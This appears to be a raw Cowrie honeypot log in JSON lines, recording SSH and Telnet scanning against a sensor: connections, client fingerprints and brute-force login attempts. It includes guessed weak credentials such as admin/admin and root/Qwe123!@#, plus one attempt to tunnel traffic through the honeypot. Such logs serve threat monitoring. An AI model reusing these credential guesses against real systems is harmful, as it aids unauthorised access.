{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:06.864169Z","src_ip":"87.251.64.176","session":"b7041b02ea43","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:07.157169Z","src_ip":"87.251.64.176","session":"b7041b02ea43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:07.256015Z","session":"b7041b02ea43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:07.353843Z","src_ip":"87.251.64.176","session":"b7041b02ea43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:07.452970Z","src_ip":"87.251.64.176","session":"b7041b02ea43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.53719115257263,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:26.157078Z","src_ip":"174.138.46.234","session":"dca6c9f7d05f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":55806,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae174b5e2f37","protocol":"telnet","message":"New connection: 18.218.118.203:55806 (159.203.135.109:23) [session: ae174b5e2f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:28.501472Z"}
{"eventid":"cowrie.session.closed","duration":0.03209972381591797,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:28.533411Z","src_ip":"18.218.118.203","session":"ae174b5e2f37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":41482,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a39d772180","protocol":"telnet","message":"New connection: 18.218.118.203:41482 (10.17.0.5:23) [session: 81a39d772180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:38.501997Z"}
{"eventid":"cowrie.session.closed","duration":0.030775785446166992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:38.532646Z","src_ip":"18.218.118.203","session":"81a39d772180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":35752,"dst_ip":"159.203.135.109","dst_port":22,"session":"05b006fa982f","protocol":"ssh","message":"New connection: 103.69.96.120:35752 (159.203.135.109:22) [session: 05b006fa982f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:40.242504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:40.247499Z","src_ip":"103.69.96.120","session":"05b006fa982f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:40.496318Z","src_ip":"103.69.96.120","session":"05b006fa982f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd.","message":"login attempt [root/passw0rd.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:41.515856Z","src_ip":"103.69.96.120","session":"05b006fa982f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:42.765399Z","src_ip":"103.69.96.120","session":"05b006fa982f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":44958,"dst_ip":"159.203.135.109","dst_port":23,"session":"f562f1b50a42","protocol":"telnet","message":"New connection: 103.52.146.122:44958 (159.203.135.109:23) [session: f562f1b50a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:58:57.154722Z"}
{"eventid":"cowrie.session.closed","duration":31.32063055038452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:28.475229Z","src_ip":"103.52.146.122","session":"f562f1b50a42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34752,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff7ef3fbfffe","protocol":"telnet","message":"New connection: 174.138.46.234:34752 (159.203.135.109:23) [session: ff7ef3fbfffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:32.802228Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":33968,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb245a711908","protocol":"telnet","message":"New connection: 217.182.190.44:33968 (10.17.0.5:23) [session: fb245a711908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:33.566303Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35014,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fba94b1b786","protocol":"telnet","message":"New connection: 174.138.46.234:35014 (159.203.135.109:23) [session: 3fba94b1b786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:33.743540Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35208,"dst_ip":"159.203.135.109","dst_port":23,"session":"765ba43df608","protocol":"telnet","message":"New connection: 174.138.46.234:35208 (159.203.135.109:23) [session: 765ba43df608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:34.561140Z"}
{"eventid":"cowrie.session.closed","duration":8.033045530319214,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:40.835145Z","src_ip":"174.138.46.234","session":"ff7ef3fbfffe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.893670558929443,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:41.636896Z","src_ip":"174.138.46.234","session":"3fba94b1b786","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.798592567443848,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:42.359652Z","src_ip":"174.138.46.234","session":"765ba43df608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":34422,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa9a67f9e346","protocol":"ssh","message":"New connection: 103.69.96.120:34422 (159.203.135.109:22) [session: fa9a67f9e346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:44.947564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:44.952598Z","src_ip":"103.69.96.120","session":"fa9a67f9e346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:45.200006Z","src_ip":"103.69.96.120","session":"fa9a67f9e346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aA@","message":"login attempt [root/123456aA@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:46.216080Z","src_ip":"103.69.96.120","session":"fa9a67f9e346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:59:47.474846Z","src_ip":"103.69.96.120","session":"fa9a67f9e346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":19060,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ad8a4a4121b","protocol":"ssh","message":"New connection: 141.11.21.145:19060 (10.17.0.5:22) [session: 3ad8a4a4121b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:00.442530Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:00.535778Z","src_ip":"141.11.21.145","session":"3ad8a4a4121b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":19064,"dst_ip":"10.17.0.5","dst_port":22,"session":"12def6d86893","protocol":"ssh","message":"New connection: 141.11.21.145:19064 (10.17.0.5:22) [session: 12def6d86893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:00.601891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:00.608936Z","src_ip":"141.11.21.145","session":"12def6d86893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:00.698359Z","src_ip":"141.11.21.145","session":"12def6d86893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123!@#","message":"login attempt [root/Qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:00.936516Z","src_ip":"141.11.21.145","session":"12def6d86893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:02.016708Z","src_ip":"141.11.21.145","session":"12def6d86893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":58146,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33b1dcfc512","protocol":"telnet","message":"New connection: 20.123.41.163:58146 (10.17.0.5:23) [session: d33b1dcfc512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:05.643411Z"}
{"eventid":"cowrie.session.closed","duration":32.81139659881592,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:06.377607Z","src_ip":"217.182.190.44","session":"fb245a711908","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":57022,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0ff8fa191b7","protocol":"telnet","message":"New connection: 103.52.146.122:57022 (159.203.135.109:23) [session: f0ff8fa191b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:23.913238Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":59512,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3dcd3a1c6ce","protocol":"telnet","message":"New connection: 103.52.146.122:59512 (159.203.135.109:23) [session: f3dcd3a1c6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:26.137309Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":52252,"dst_ip":"10.17.0.5","dst_port":23,"session":"c034ad6d39c8","protocol":"telnet","message":"New connection: 217.182.190.44:52252 (10.17.0.5:23) [session: c034ad6d39c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:27.289845Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":58282,"dst_ip":"10.17.0.5","dst_port":22,"session":"d00bc6b476e9","protocol":"ssh","message":"New connection: 103.248.120.6:58282 (10.17.0.5:22) [session: d00bc6b476e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:44.752649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:44.758251Z","src_ip":"103.248.120.6","session":"d00bc6b476e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:44.980753Z","src_ip":"103.248.120.6","session":"d00bc6b476e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshvpn","password":"123456","message":"login attempt [sshvpn/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:45.896647Z","src_ip":"103.248.120.6","session":"d00bc6b476e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:47.122144Z","src_ip":"103.248.120.6","session":"d00bc6b476e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":44870,"dst_ip":"159.203.135.109","dst_port":22,"session":"78e375d49c9c","protocol":"ssh","message":"New connection: 103.69.96.120:44870 (159.203.135.109:22) [session: 78e375d49c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:49.043784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:49.048969Z","src_ip":"103.69.96.120","session":"78e375d49c9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:49.296340Z","src_ip":"103.69.96.120","session":"78e375d49c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass12345","message":"login attempt [root/pass12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:50.317844Z","src_ip":"103.69.96.120","session":"78e375d49c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:51.568981Z","src_ip":"103.69.96.120","session":"78e375d49c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8436119556427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:00:54.756693Z","src_ip":"103.52.146.122","session":"f0ff8fa191b7","protocol":"telnet"}
